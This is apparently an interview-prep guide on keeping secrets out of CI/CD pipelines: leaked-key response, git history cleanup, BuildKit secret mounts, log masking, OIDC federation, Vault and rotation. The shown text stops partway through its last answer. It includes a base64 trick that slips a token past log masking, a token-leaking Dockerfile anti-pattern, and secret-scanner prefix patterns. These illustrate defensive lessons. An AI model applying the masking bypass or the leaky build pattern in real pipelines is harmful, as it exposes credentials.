Skip to content
Tech Interview Prep
Technical interview guide

Secrets Management in Pipelines

Keeping credentials and keys out of source control and pipeline logs, while still letting automation use them.

Minutes to read
4
Practice MCQs
25
Interview Q&A
25
Edition
v5
Editorial status
Reviewed

Scope: GitHub Actions, AWS IAM, Google Cloud IAM, HashiCorp Vault, OWASP, and NIST guidance current 2026-08-31.

Interview Q&A

Treat each question like a live interview question: answer out loud first (structure, assumptions, tradeoffs), then open the model answer to spot gaps and rehearse a tighter follow-up.

Curated: · Written: · Reviewed:

25 questions

Q&A-8

Respond to a cloud credential printed in a public build log.

Answer

First, I'd clarify: is the log still public, and is the credential still active? I'll assume it's an AWS IAM access key that appeared in a public GitHub Actions log, and it's still active. Automated scanners harvest these within minutes, so the first 60 seconds matter.

Immediate containment: deactivate the key, don't delete it yet. Deactivating stops all API calls but preserves the key for CloudTrail correlation. Run:

Shell
aws iam update-access-key --access-key-id AKIA... --status Inactive

If it's a role session, you can't revoke a single session. Attach a deny-all policy to the role or use an SCP. Then preserve evidence: export the build log, snapshot CloudTrail logs. Don't delete the log yet: deleting it doesn't revoke the credential, and the attacker may have already copied it.

Investigation: use CloudTrail to see what the attacker did. aws cloudtrail lookup-events --lookup-attributes AttributeKey=AccessKeyId,AttributeValue=AKIA.... Look for calls from unusual IPs, regions, user agents. Check GuardDuty findings. A typical attack trace: get-caller-identity to check permissions, then s3 ls to list buckets, then iam create-user to create a backdoor, then ec2 run-instances to mine crypto. Each leaves a CloudTrail event with the access key ID. Also look for AccessDenied errors, which show what the attacker tried but couldn't do. CloudTrail's default event history retains 90 days of management events; for data events you need a trail.

Remediation: rotate any dependent credentials. If the key was used to access a database, rotate that password. Fix the leak: remove the secret from the log, but also from git history if it was committed. Use git filter-repo or BFG. Enable secret scanning and push protection. Move to short-lived credentials: OIDC for CI/CD, so no long-lived keys exist.

Tradeoffs: deactivate vs delete. Deactivate preserves evidence; delete removes it. Always deactivate first. For role sessions, you can't revoke a specific session, so you must attach a deny policy or rotate the role's trust policy. That's slower but necessary.

OptionStops attacker?Preserves evidence?When to use
Deactivate keyYesYesFirst step, always
Delete keyYesNoAfter investigation
Rotate keyNoYesOnly after deactivating old key
Deny policy on roleYesYesFor role sessions

Failure modes: deleting the log before preserving evidence; rotating the key without deactivating the old one; assuming the key was only used for the build. If the key had admin permissions, the attacker could have created backdoor users, so audit IAM for new users, roles, and policies. Also check for other secrets in the same log and rotate them.

Prevention: use OIDC, secret scanning, log redaction, least privilege.

Curated: · Written: · Reviewed:

Difficulty: Medium
Q&A-11

Handle a secret committed to a private repository.

Answer

Treat a private repo as public for this secret. Private means fewer readers, not fewer copies. Every clone, fork, CI cache, backup, and provider-side object store is a copy. So the first 60 seconds: assume the value is compromised, rotate it, then investigate. Deletion is not containment.

Rotate first. For an AWS access key: create a second key, deploy it to every consumer, then mark the old key Inactive and watch CloudTrail for its AccessKeyId before deleting it. For a GitHub PAT: revoke it in settings/tokens or via the API. For a database password: change it in the database, update the app, restart. If you deactivate before all consumers move, you get an outage; that is the cost of rotating too fast.

Find blast radius. git log -S 'AKIA...' --all --oneline shows commits that added or removed the string. trufflehog git file://. --only-verified or gitleaks scans history. Check provider audit logs for clone events, CI logs for the value, and package/artifact stores. Scope what the credential can do: list IAM permissions, DB grants, repo scopes.

Clean history only after rotation. git filter-repo --path config/secrets.env --invert-paths removes a whole file. git filter-repo --replace-text expressions.txt replaces a literal or regex, e.g. literal:AKIA...==>***REMOVED***. Then force-push and tell every developer to re-clone. This changes every commit SHA, invalidates signed commits, breaks open PRs, and does not touch forks or provider caches. That is why it is cleanup, not containment.

FailureDetectionCost
Rotation incompleteProvider logs still show the old key ID after cutoverOutage if you deactivate before every consumer moves
Rewrite breaks clonesAn old clone pushes the secret back; secret scanning alert reappearsForce-push coordination, CI rebuild, lost signatures
Fork or cache retentionProvider audit log clone events; fork scan if the provider exposes itYou may never prove deletion
CI logs or artifactsSearch build logs and artifact stores for the valueLog retention and artifact purge

Trade-off: rewrite vs rotate-only. Rewrite if compliance requires removal, if the secret cannot be rotated (e.g., a historical encryption key), or if untrusted forks have it. Do not rewrite if rotation is complete and policy allows; the old value is dead, and the rewrite costs coordination and history integrity. The deciding question: can the credential still be used? If no, rewrite is hygiene. If yes, rotation is the only containment.

Prevent: enable secret scanning and push protection, move CI to OIDC federation so no long-lived cloud keys live in the repo, and keep secrets in a manager. Add a pre-commit hook that runs gitleaks. Document the incident and the residual copies you cannot prove deleted.

Curated: · Written: · Reviewed:

Difficulty: Medium
Q&A-17

Prevent secrets from entering container images and artifacts.

Answer

Assumptions. BuildKit is available (Docker Engine 23.0+ builds with BuildKit by default; otherwise docker buildx). The credential is genuinely needed at build time: a private package registry, a license key, a git token. If it is only needed at run time, skip all of this and inject it from the orchestrator instead.

Core answer

Three rules, in order of how often they are broken.

  1. Keep the secret out of the build context. .dockerignore .env, *.pem, .npmrc, .git, *.tfstate. A COPY . . that drags a credential file into a layer is the most common leak, and it happens before any tooling gets a chance to help.
  2. Never pass it as ARG or ENV. Both are recorded in the image config and show up in docker history --no-trunc. ARG values also land in the provenance attestation when you build with --provenance=true, so the secret escapes into a second artifact you probably don't scan.
  3. Mount it for the one step that needs it. RUN --mount=type=secret,id=...,target=... mounts the value as tmpfs for that command only; BuildKit does not commit it to the layer.

Then scan before publish, and treat any hit as a rotation event, not a cleanup task.

The mechanism

Dockerfile
# syntax=docker/dockerfile:1
FROM python:3.12-slim AS build
WORKDIR /app
COPY requirements.txt .
RUN --mount=type=secret,id=pipconf,target=/etc/pip.conf \
    pip install --no-cache-dir -r requirements.txt
COPY . .
RUN python -m build --wheel

FROM python:3.12-slim
COPY --from=build /app/dist/*.whl /tmp/
RUN pip install --no-cache-dir /tmp/*.whl && rm /tmp/*.whl
docker build --secret id=pipconf,src=$HOME/.pip/pip.conf -t app:1.0 .

The secret exists as a file at /etc/pip.conf for the duration of that one RUN. It is not in the layer, not in the image config, and not in the build context. The final stage copies only the wheel.

Contrast the version people actually write:

Dockerfile
FROM alpine:3.20
ARG NPM_TOKEN
RUN echo "//registry.npmjs.org/:_authToken=$NPM_TOKEN" > /root/.npmrc \
 && npm install --no-cache \
 && rm /root/.npmrc

Two independent leaks. The ARG line is recorded in image history with the value substituted. And rm runs in a new layer: the .npmrc containing the token is still in the previous layer blob, which is immutable in the registry. Deleting a file never removes it from an earlier layer.

Alternatives

ApproachSecret in final image?Wins whenCost
BuildKit --mount=type=secretNo: tmpfs, uncommittedA build step needs a credentialNeeds BuildKit; secret is not part of the cache key
Multi-stage, builder never pushedNo, if the builder image is discardedNo BuildKit, or the tool only reads a file pathBuilder image must never be pushed; larger build
Runtime injection (env, volume, secret manager)NoCredential is needed at run timeRotation becomes a deploy
ARG / ENVYes: image config and historyNever for secretsLeaks in history and provenance

Failure modes

  • Cache reuse. The secret mount is not in the cache key, so rotating the credential does not invalidate a cached RUN. The old secret's effect persists in the cached layer. Bust it with --no-cache-filter on that stage.
  • Tool caches and reports. pip, npm, ~/.m2, coverage output and test reports get baked into layers and routinely carry tokens. --no-cache-dir and a .dockerignore entry for the report directory.
  • .git copied in. A token embedded in a remote URL lives in .git/config.

Detection

gitleaks detect --source . --no-git          # build context, pre-build
trivy image --scanners secret app:1.0        # published image
docker history --no-trunc app:1.0            # ARG/ENV values
dive app:1.0                                 # per-layer file contents

What changes the decision

If the credential is short-lived and read-only (an OIDC token minted per build, scoped to pull one package) a build-time fetch is acceptable and the blast radius is minutes. If it is a long-lived PAT, any appearance in an image, attestation, cache or report means rotate first and rebuild; the registry blob is already public to anyone with pull access, and you cannot un-publish it.

Curated: · Written: · Reviewed:

Difficulty: Medium
Q&A-7

Design secret masking and output controls.

Answer

Core answer

Assume a CI/CD pipeline, GitHub Actions or GitLab CI, where secrets are injected as environment variables at job start, logs ship to a central store, and artifacts and caches are published. Masking there is a line-level exact-string filter the runner applies before upload. Treat it as a backstop, not a boundary. The boundary is keeping the secret out of the output stream at all: masking catches the accidental echo, detectors catch what masking misses, and any hit is a compromise that triggers rotation.

Three layers, in order of how much they buy you:

  1. Don't emit it. Secrets never go in argv (ps, /proc/<pid>/cmdline and crash dumps all expose them) and never through set -x, curl -v, or --trace, which print headers and bodies verbatim. Turn off ACTIONS_STEP_DEBUG/ACTIONS_RUNNER_DEBUG in production workflows; those secrets make the runner dump the full environment. Sanitize exception messages and test reports before they leave the process.
  2. Mask what you can. GitHub masks secrets.* automatically and ::add-mask:: registers more; GitLab masked variables must be single-line, at least 8 characters, contain no whitespace, and be drawn from the Base64 alphabet plus @:.~+. A secret that violates those rules cannot be masked at all: rotate it into a compliant format rather than shipping it unmasked.
  3. Detect what escapes. Run gitleaks or trufflehog over artifacts, caches and shipped logs. They pair a prefix regex (AKIA, ghp_, sk-) with a Shannon entropy floor, commonly around 3.5 bits/char for generic keys; raise it to cut false positives, lower it to catch more.

Why masking misses

The runner replaces exact occurrences of the registered string in each log line. Any transformation produces a different byte string and passes through untouched. So does anything written to a file instead of stdout (artifacts, caches, annotations) because masking only sees the log stream. Third-party uploaders (coverage, test reporters) receive raw output and sit outside the masker entirely.

YAML
- run: |
    echo "::add-mask::$TOKEN"
    echo "token=$TOKEN"                              # token=***
    echo "token=$(printf %s "$TOKEN" | base64)"      # token=<base64, unmasked>

Trace: add-mask registers the literal value. Line 2 contains that literal, so the runner rewrites it to ***. Line 3 contains the base64 encoding, a different string, so no substitution happens and the encoded secret is printed in full.

Trade-offs

Strict masking has costs. Masking short or common values redacts unrelated log lines and destroys debuggability, which is why GitLab enforces the 8-character floor. Entropy scanning is CPU-bound, budget roughly 10–30 s per GB single-threaded, so run it on the artifact upload path, not per log line. Retention is the sharpest trade: GitHub keeps logs 90 days for public repos and 400 for private, artifacts 90 by default. Cutting to 30 days shrinks the exposure window but blinds you to a breach found at day 45. Decide by detection latency: if a canary alert fires in minutes, 30 days is enough; if you rely on periodic audits, keep 90.

Failure modes

FailureDetect
Secret in argvcanary token in argv; grep the process listing
Debug logging onalert when ACTIONS_STEP_DEBUG is set in a prod workflow
Secret in artifact/cachescan at upload, before publish
Secret to third-party uploaderegress allowlist; scan the payload

Decision criteria

Mask when the value is a known secret and the platform can represent it; if it can't, rotate to a maskable format. Skip masking only when the secret never enters the process: a dedicated API client, or OIDC federation issuing short-lived tokens, where there is no static secret to leak. Prefer OIDC over long-lived secrets for exactly that reason.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-5

Choose how a pipeline should receive a database credential.

Answer

Core answer

Assume the pipeline runs code you don't fully trust (PR builds, third-party actions) on a shared runner, and the database is Postgres or MySQL reachable from that runner. Then don't ship a credential at all: have the job exchange its platform identity for a short-lived database credential at the moment of use, scoped to one role and one database.

Two ways that works in practice:

  • Cloud IAM auth. On RDS Postgres the DB user is granted rds_iam; the job runs aws rds generate-db-auth-token --host <endpoint> --port 5432 --username migrator and uses the returned string as the password. The token is SigV4-signed, valid 15 minutes, and nothing is stored. Cloud SQL and Azure have equivalents.
  • Vault database secrets engine. The job authenticates with its OIDC token (GitHub Actions sub claim, e.g. repo:acme/api:environment:prod), matched by bound_claims on the Vault role. Vault then connects to the DB with its own admin credential, runs CREATE ROLE/CREATE USER with a generated password and VALID UNTIL, and returns it. Role default_ttl defaults to 1h with max_ttl 24h; set default_ttl=15m for a migration job.

Why a short lease beats rotation: rotation still leaves a valid credential sitting in a store every job step can read. A lease is created per job and dies with it. The binding is the point: the credential is issued only to a token whose claims match, so a secret stolen from another repo gets a 403 from Vault, not a database password.

Delivery

Retrieve in-process and hand it to the client library, never through a shell. If a file is unavoidable (some clients only read ~/.pgpass), mktemp -d (0700), write the file 0600, and trap cleanup on EXIT. Avoid command arguments (visible in ps to every user on the host), persistent env vars (readable via /proc/<pid>/environ by same-uid processes, and captured by crash handlers), and build artifacts or caches.

Comparison

deliveryexposurewhen it's right
env varsame-uid processes, child procs, crash dumpsstatic read-only cred, trusted runner
file 0600same-uid onlyclient requires a file
argvall users via psnever
dynamic leasejob lifetime onlyuntrusted code, shared runners

Failure modes

  • Lease expires mid-job. A migration outliving default_ttl gets its connection killed. Signal: DB log password authentication failed or terminating connection, Vault audit lease renewal errors. Fix: renew, or size TTL to the job's p99.
  • Cancellation. Job killed before revoke leaves an orphaned DB user. Signal: vault list sys/leases/lookup/database/creds/<role> grows. TTL expiry is the backstop.
  • Runner compromise. Attacker reads the credential; the window is the lease, not forever. Detect via the DB audit log showing queries from an unexpected source IP.
  • Secret-store outage. Vault sealed means the job fails at start, fast. Don't cache to disk to "fix" it.

When static is right: a scheduled read-only reporting job on a dedicated runner with no untrusted code. A static credential in the platform secret store is simpler, and the lease machinery buys nothing.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-6

Explain how to use Vault response wrapping for bootstrap delivery.

Answer

What I'd say first

Assume the target is a machine with no Vault token yet (a VM booting, a CI job, a new pod) and I need to hand it a credential without the relay being able to read it. Response wrapping is the right tool when the delivery channel is untrusted but I still have to hand over something. If the target runs on AWS, GCP, Azure or Kubernetes, I'd rather use the platform's auth method and deliver nothing at all; wrapping is for the cases where that isn't available.

Mechanism

Response wrapping is a cubbyhole trick. When the client sets X-Vault-Wrap-TTL: 90 (CLI: -wrap-ttl=90s), Vault builds the response as normal, then instead of returning it, stores it in the cubbyhole of a freshly minted token and returns only that token's metadata. These endpoints and flags have been stable across Vault 1.x.

Shell
curl -s -H "X-Vault-Token: $VAULT_TOKEN" -H "X-Vault-Wrap-TTL: 90" \
  -X POST "$VAULT_ADDR/v1/auth/approle/role/app/secret-id" | jq .wrap_info
{
  "token": "hvs.CAESIJ...",
  "accessor": "8hT3k...",
  "ttl": 90,
  "creation_time": "2024-05-01T12:00:00Z",
  "creation_path": "auth/approle/role/app/secret-id",
  "wrapped_accessor": ""
}

The wrapping token is a real Vault token whose only capability is to unwrap its own cubbyhole entry. It is single-use: unwrapping revokes it. The recipient verifies before consuming:

Shell
curl -s -H "X-Vault-Token: hvs.CAESIJ..." -X POST "$VAULT_ADDR/v1/sys/wrapping/lookup" | jq .data
# creation_path: auth/approle/role/app/secret-id, creation_ttl: 90

curl -s -H "X-Vault-Token: hvs.CAESIJ..." -X POST "$VAULT_ADDR/v1/sys/wrapping/unwrap" | jq .data
# { "secret_id": "...", "secret_id_accessor": "...", "secret_id_ttl": 0 }

A second unwrap returns HTTP 400: the token is gone. vault unwrap <token> is the CLI equivalent, and vault token lookup <token> shows the same creation_path for a wrapping token.

Why the TTL relationship matters

Two clocks are running. The wrap TTL is capped by the creating token's remaining TTL: you cannot wrap for longer than the token that made the wrap lives. And the wrapped secret's own lease starts when Vault generates it, at wrap time, not at unwrap time. So a 10-minute wrap TTL on a 15-minute database credential hands the target a credential with 5 minutes left. For a bootstrap handoff, 60–120 seconds is plenty; the wrap TTL is exactly the window in which an intercepted token is still usable.

Trade-offs

OptionPayload readable by relaySingle-useSecret to deliver
Response-wrapped SecretIDnoyeswrapping token
Plaintext SecretID in config or CI variableyesnoSecretID
AppRole SecretID, CIDR-bound, short secret_id_ttlyesnoSecretID
AWS / GCP / Azure / Kubernetes authn/an/anothing

Pick wrapping when the relay is untrusted and you can't use a platform auth method. Pick platform auth when you can: it removes the delivery problem instead of shrinking it. If the handoff is delayed, sys/wrapping/rewrap exchanges a wrapping token for a new one with a fresh TTL without unwrapping.

Failure modes

  • Token intercepted in transit: the attacker unwraps first and the legitimate recipient's unwrap fails with 400. Detect it in the audit device: sys/wrapping/unwrap requests are logged with client IP and token accessor; alert on an unwrap from an unexpected source, or on a failed unwrap following a successful one.
  • TTL expired: same 400, payload unrecoverable. Reissue from the issuer; do not retry the same token.
  • Wrong creation_path: the token came from a different request. Reject rather than unwrap.
  • Wrapping token written to logs or CI output: anyone with log read can unwrap. Pass it in a 0600 file or an unprinted environment variable.
  • Delivery fails after the wrap: the issuer revokes the wrapping token by accessor (vault token revoke -accessor 8hT3k...) without ever seeing the token, then reissues.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-1

Design secretless cloud authentication for a deployment pipeline.

Answer

What I'd say in the first two minutes

Assume GitHub Actions as CI, AWS as the deploy target, one prod environment, and a role per environment. The pipeline never holds a cloud key. Each job requests a GitHub OIDC token, AWS STS verifies it against a trust policy that pins issuer, audience and the exact subject string, and returns credentials that die with the job.

Three fields have to be pinned exactly, or the federation is decorative:

  • iss = https://token.actions.githubusercontent.com
  • aud = sts.amazonaws.com (AWS), api://AzureADTokenExchange (Azure)
  • sub = the literal subject, e.g. repo:octo-org/octo-repo:environment:prod

The trust policy:

JSON
{
  "Effect": "Allow",
  "Principal": {
    "Federated": "arn:aws:iam::123456789012:oidc-provider/token.actions.githubusercontent.com"
  },
  "Action": "sts:AssumeRoleWithWebIdentity",
  "Condition": {
    "StringEquals": {
      "token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
      "token.actions.githubusercontent.com:sub": "repo:octo-org/octo-repo:environment:prod"
    }
  }
}

StringEquals, not StringLike. A StringLike with repo:octo-org/* is the single most common way this gets broken.

The workflow side:

YAML
permissions:
  id-token: write   # mint the OIDC token
  contents: read
jobs:
  deploy:
    environment: prod          # this is what puts :environment:prod in sub
    steps:
      - uses: aws-actions/configure-aws-credentials@v4
        with:
          role-to-assume: arn:aws:iam::123456789012:role/deploy-prod
          aws-region: us-east-1

Session length: AssumeRoleWithWebIdentity defaults to 3600 s and is capped by the role's MaxSessionDuration, which you can raise to 43200 s (12 h). Leave it at 1 h; a deploy that needs longer should re-mint, not hold a longer credential.

Why the claim mapping stops a forked PR

GitHub sets sub from the event. A push to main gives repo:org/repo:ref:refs/heads/main; a job with environment: prod gives repo:org/repo:environment:prod; a pull request gives repo:org/repo:pull_request. A fork PR's token carries the pull_request subject: it does not equal the environment:prod string in the trust policy, so STS rejects it. There is no code path to bypass; the match is a string comparison. Pin job_workflow_ref too if the deploy logic lives in a reusable workflow, so a modified caller can't mint a token that matches.

Why this beats a static key

A static key is valid from anywhere, for as long as it exists, and is copyable from a log, a runner, or a laptop. An OIDC token is minted per job, expires in minutes, and is bound to a subject an attacker cannot reproduce without controlling that exact repo, ref and environment. Exfiltrating it from a CI log yields a credential that is already expired or scoped to a subject the attacker can't re-mint.

Trade-offs and when not to use it

  • Provider outage: if GitHub's OIDC endpoint is down, no job can authenticate. Static keys keep working. Mitigate with a break-glass path that is itself audited, not with a permanent key.
  • Long jobs: max session is 12 h. Batch jobs beyond that need a broker that re-mints, or a different mechanism.
  • Platforms without a verifiable issuer: self-hosted Jenkins without an OIDC plugin, or runners you don't control, can't do this. Use a broker that holds the key and issues short-lived certs.
  • Trust-policy drift: repo renames and transfers silently break or over-broaden trust. Treat the trust policy as code and review it.

Failure modes to name

FailureDetection
sub wildcard (repo:org/*)Policy diff in CI; a fork PR that can assume the role
Audience not pinnedA token minted for another service replays against yours
pull_request_target + id-token: writeWorkflow lint; untrusted code running with a mintable token
Token replay within TTLCloudTrail AssumeRoleWithWebIdentity from an unexpected IP/runner
Issuer key rotation unhandledAuth failures after GitHub rotates signing keys

Log every issuance and every AssumeRoleWithWebIdentity call, alert on subject strings you didn't expect, and rehearse issuer-key rotation and revocation before you need them.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-3

Migrate a pipeline from a long-lived cloud key to OIDC.

Answer

Assume GitHub Actions as CI and AWS as the cloud: the shape is the same on GCP Workload Identity Federation or Azure federated credentials, only the names change. The migration isn't "swap a secret for a token"; it's replacing a bearer credential that anyone who reads it can use with one the cloud provider mints on demand and scopes to a single repo, ref and job. Everything that makes that safe lives in the trust policy's subject condition, so that's what I'd get right first.

The core move

Add id-token: write to the job (not the workflow), register an IAM OIDC identity provider for https://token.actions.githubusercontent.com with audience sts.amazonaws.com, and create a role whose trust policy names the exact subject:

JSON
{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Principal": { "Federated": "arn:aws:iam::123456789012:oidc-provider/token.actions.githubusercontent.com" },
    "Action": "sts:AssumeRoleWithWebIdentity",
    "Condition": {
      "StringEquals": {
        "token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
        "token.actions.githubusercontent.com:sub": "repo:acme/api:environment:prod"
      }
    }
  }]
}

Then the job uses aws-actions/configure-aws-credentials@v4 with role-to-assume, and the stored key is deleted and revoked.

What happens on the wire

The runner calls ACTIONS_ID_TOKEN_REQUEST_URL with the ACTIONS_ID_TOKEN_REQUEST_TOKEN bearer and gets a JWT signed by GitHub's RSA key. STS fetches the JWKS from the issuer's /.well-known/openid-configuration, verifies the signature, checks aud against the trust policy, evaluates the sub condition, and returns temporary credentials. Default session is 3600 s, settable 900–43200 s.

claimexamplepins
isshttps://token.actions.githubusercontent.comwhich CI
audsts.amazonaws.comwhich cloud
subrepo:acme/api:environment:prodrepo + ref or environment
job_workflow_refacme/api/.github/workflows/deploy.yml@refs/heads/mainwhich workflow file
shacommit SHAwhich revision

Trade-offs

OIDC beats a secrets manager for cloud access: no rotation job, no secret to leak, per-job scoping. It loses where the target doesn't speak OIDC (a SaaS API key, an SSH host, a vendor that only takes a static token) there you still need Vault or Secrets Manager. It also adds a hard dependency on the issuer and STS being reachable; an air-gapped runner can't use it.

A per-repo role (repo:acme/api:*) is one role to manage but every branch can assume it. Per-environment or per-job_workflow_ref is tighter but multiplies roles. I'd start per-environment for prod and per-repo for read-only.

Failure modes

  • Wildcard subject. repo:acme/api:* includes pull_request, which every PR in the repo shares, forks included. Grep trust policies for * in sub and fail CI on it.
  • id-token: write at workflow level. Any step, including a compromised third-party action, can mint a token. Scope it to the job.
  • pull_request_target plus a checkout of the PR head: untrusted code running with the token.
  • Provider trust breaking on CA rotation; alert on AssumeRoleWithWebIdentity failures rather than discovering it at deploy time.

Rollout

Create the role read-only, run it alongside the key, diff CloudTrail against what the key did. Flip prod, then revoke the key and scan for copies in other repos and secret stores.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-18

Set TTL and renewal policy for pipeline credentials.

Answer

Assumptions I'd state before answering: jobs are bounded (build, test, deploy), runners are ephemeral, and the credential is a cloud IAM session or a Vault-issued secret. If a job is genuinely unbounded, or the runner is a long-lived VM, the policy changes, so I'd confirm that first.

The policy: issue credentials just-in-time, scoped to one job, with a TTL equal to the job's p99 duration plus a small margin, and no renewal by default. Renewal is the fallback, not the design.

Why short TTL beats renewal: every renewal is another authentication event that can fail, another place the identity can be spoofed, and another credential sitting in memory. A credential that outlives its job is pure liability: it is exactly the window an attacker uses after a runner is compromised. So the default is: the token dies when the job dies.

Current provider defaults, so you know what you're overriding:

SystemDefaultCeiling
AWS STS AssumeRole3600 s43200 s (12 h) via role MaxSessionDuration; role chaining caps at 3600 s
GitHub Actions OIDC token5 min—
Kubernetes bound service-account token1 h1 year via --service-account-max-token-expiration
Vault lease TTL768 h (32 days)set per-role

Arithmetic: p99 job is 8 min, so TTL = 10 min. AWS's 60-min default is 6× the exposure. At 500 jobs/day that is 30,000 credential-minutes versus 5,000: a 6× reduction in the window a leaked token is useful.

Python
P99_SECONDS = 480          # measured job duration
MARGIN = 120
PROVIDER_MAX = 43200       # AWS MaxSessionDuration ceiling

def issue(job):
    ttl = min(P99_SECONDS + MARGIN, PROVIDER_MAX)   # 600 s
    return sts.assume_role(
        RoleArn=job.role,
        DurationSeconds=ttl,
        RoleSessionName=job.id,   # ties the session to one job
    )

When renewal is unavoidable, say a 3-hour migration, bind it: the renewal request must present the same workload identity (the OIDC sub claim, not just a valid token), total lifetime is capped, and privileges never expand on renewal. If renewal fails, the job stops; it does not continue on a stale credential.

Failure modes, with detection and cost:

  • Hung job past TTL → ExpiredTokenException / 403 mid-run. Detect in job logs; cost is a failed deploy and a re-run.
  • Clock skew → SigV4 rejects requests more than 15 min off the timestamp; JWT validators typically allow a few minutes. Detect via SignatureDoesNotMatch on specific runners; cost is intermittent, runner-specific failures that look random.
  • Renewal storm → every job renews at once and the provider throttles (ThrottlingException). Detect via STS throttle metrics; cost is cascading job failures.
  • Partial deployment → revocation mid-rollout leaves half the fleet on old credentials. Detect via a version-skew check; cost is an inconsistent state that is hard to roll back.

Revoke on completion where the provider supports it, and alert on any session that outlives its job: that is the signal that TTL and job duration have drifted apart.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-10

Rotate a shared static secret without downtime.

Answer

The 90-second answer

Rotation is a migration, not a write. You introduce a second valid credential, move every consumer onto it, prove from the provider's own logs that nothing still uses the old one, and only then retire it. What bites is not the write: it's a consumer you didn't know about (a cron job, a sidecar, a cached connection pool) reconnecting with the old value after you revoked it.

So: inventory consumers and owners, pick an overlap mechanism the protocol actually supports, verify by observation, then revoke.

What "overlap" means per store

storeoverlap mechanismthe limit that sets your window
AWS Secrets Managerstaging labels AWSCURRENT / AWSPREVIOUS / AWSPENDING; the rotation Lambda runs createSecret → setSecret → testSecret → finishSecretAWSPREVIOUS stays readable until finishSecret promotes; IAM users cap at 2 access keys
Vault database enginedynamic credentials with a lease TTL, or static roles with rotation_periodleases expire on their own: set default_ttl shorter than your deploy cadence
Kubernetes Secretprojected volume file rewritten by kubeletkubelet sync + cache TTL ≈ up to ~2 min; secrets injected as env vars never update
TLStwo certificates in the trust bundlecert-manager renews at 2/3 of the cert duration by default
Postgres / MySQLtwo roles with identical grantsthe password is checked at connect time only; live sessions survive ALTER ROLE

Worked example: Postgres, 40 pods, two-role rotation

Postgres has one password per role, so ALTER ROLE app PASSWORD invalidates the old value for every new connection immediately. Any pod that restarts mid-rollout and reconnects with the old password fails. The fix is two roles, app_a and app_b, both granted the same privileges; the app reads username and password from the secret.

  1. Secret currently holds app_a. Rotate app_b's password, write {user: app_b, pass: ...} to the secret. Both roles are valid: nothing has broken yet.
  2. Roll pods in batches of 8 (5 batches). At ~90 s per batch to Ready, the rollout is ~8 minutes.
  3. Wait one pool lifetime before touching app_a. HikariCP's maxLifetime defaults to 1800000 ms (30 min), so a connection opened before the flip can outlive it. Overlap ≥ 8 min rollout + 30 min pool lifetime ≈ 40 minutes.
  4. Verify: SELECT count(*) FROM pg_stat_activity WHERE usename = 'app_a' trends to 0. With log_connections = on, grep the log for app_a authentications: the last one should be older than the pool lifetime.
  5. Rotate app_a's password, flip the secret back, roll again. app_b is now the spare.

If you can't run two roles, the cutover window equals the time for every pool to recycle (bounded by maxLifetime, 30 minutes by default) and any reconnect in that window fails.

Verification, not assumption

Don't infer from a green deploy. Read the provider: CloudTrail's userIdentity.accessKeyId for AWS keys, pg_stat_activity.backend_start for Postgres, the auth log for Redis ACL SETUSER / ACL DELUSER. Deactivate before deleting, aws iam update-access-key --status Inactive, so a straggler fails loudly instead of silently.

Failure modes

  • Env-var-mounted Kubernetes secrets never refresh; the pod must restart.
  • AWSPREVIOUS is still a working credential: anything that reads "the previous version" keeps working after you think you've rotated.
  • Backups, AMIs, CI variables and .env files baked into old images hold the old value long after revocation.
  • If the old value is suspected compromised, skip the overlap: atomic cutover, accept the outage, and never reactivate the old authority for rollback.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-24

Retire an obsolete pipeline secret safely.

Answer

Assumptions: the secret is a long-lived static credential (a cloud access key, a PAT, a service-account key) that CI reads at job start. You control the issuer, so you can revoke it. Consumers can be changed.

The answer: replace, prove zero use, revoke, purge copies, block recreation. Revocation is the only step that removes authority; the rest is hygiene. The trap is doing the hygiene first and treating a clean grep as proof there are no consumers left. Grep finds text, not authority. A job can hold the value in memory, a container can hold it in an env var, Terraform can hold it in state, and none of those appear as a string in the repo.

So the proof of zero use comes from the issuer's own access logs, not from your code search. Pull 90 days of calls made under that credential identity: CloudTrail GetSecretValue plus the API's own access log, GCP or Azure audit logs, or the vendor's usage report: list the distinct callers, and migrate each one. Then require seven consecutive days with zero calls before you revoke.

Workload identity vs a new scoped static credential

OIDC federationScoped static credential
lifetimeminutes, minted per jobuntil revoked
rotationautomatica schedule you have to build and own
blast radiusbound to repo + branch + audience claimusable from anywhere the string leaks
setuptrust policy per repo/cloud pairone secret-store entry
use whenCI can mint an OIDC token (GitHub Actions, GitLab, CircleCI, Buildkite)the consumer can't federate: on-prem runner, third-party webhook, vendor that only accepts a static key

Pick OIDC whenever the consumer is a CI job on a supported platform. Pick a static credential only for a consumer that can't federate, and then scope it to one API surface and one environment, with an expiry date in the ticket.

Failure modes and how you catch them

  • Running workloads keep the old value. Kubernetes injects env vars at container start; rotating the Secret does not touch a running pod. Detect by comparing pod start time against the rotation timestamp and alerting on any pod older than the rotation that references the secret.
  • Derived credentials outlive the original. An AWS access key can call CreateAccessKey or CreateUser; deleting the parent key leaves the child working. Detect by querying CloudTrail for CreateAccessKey, CreateUser and AttachUserPolicy by that principal in the 90 days before revocation.
  • Cached copies. Docker ENV layers, Terraform state, .npmrc, CI build caches. Detect with gitleaks detect --no-git over image layers and trufflehog filesystem over the state backend.
  • Log masking is best-effort. GitHub masks the exact string; base64 or URL-encoded forms pass through. Detect by scanning logs for the base64 of the value.

Sequence

Day 0: inventory from issuer logs. Days 1–14: migrate, dual-run. Day 14: confirm zero calls for seven days. Day 15: revoke at the issuer, watch 401/403 rates for 24h. Day 16 onward: purge copies, scan, and add a policy that denies creating new long-lived keys outside the break-glass role.

Keep the audit record (who created it, who used it, when it was revoked) and drop the value. The bill is not the point: 200 stale secrets in Secrets Manager is about $80/month. The point is that each one is a credential usable from anywhere, and nobody is watching it.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-12

Design permissions for build, signing, and deployment stages.

Answer

Assumptions: CI runners are ephemeral and shared; PRs from forks are untrusted; release artifacts are the asset worth protecting; you have an OIDC-capable CI (GitHub Actions, GitLab, Buildkite) and a cloud KMS/HSM.

Core answer. Three identities, one per stage, no shared long-lived secret, and the signing key never touches a runner.

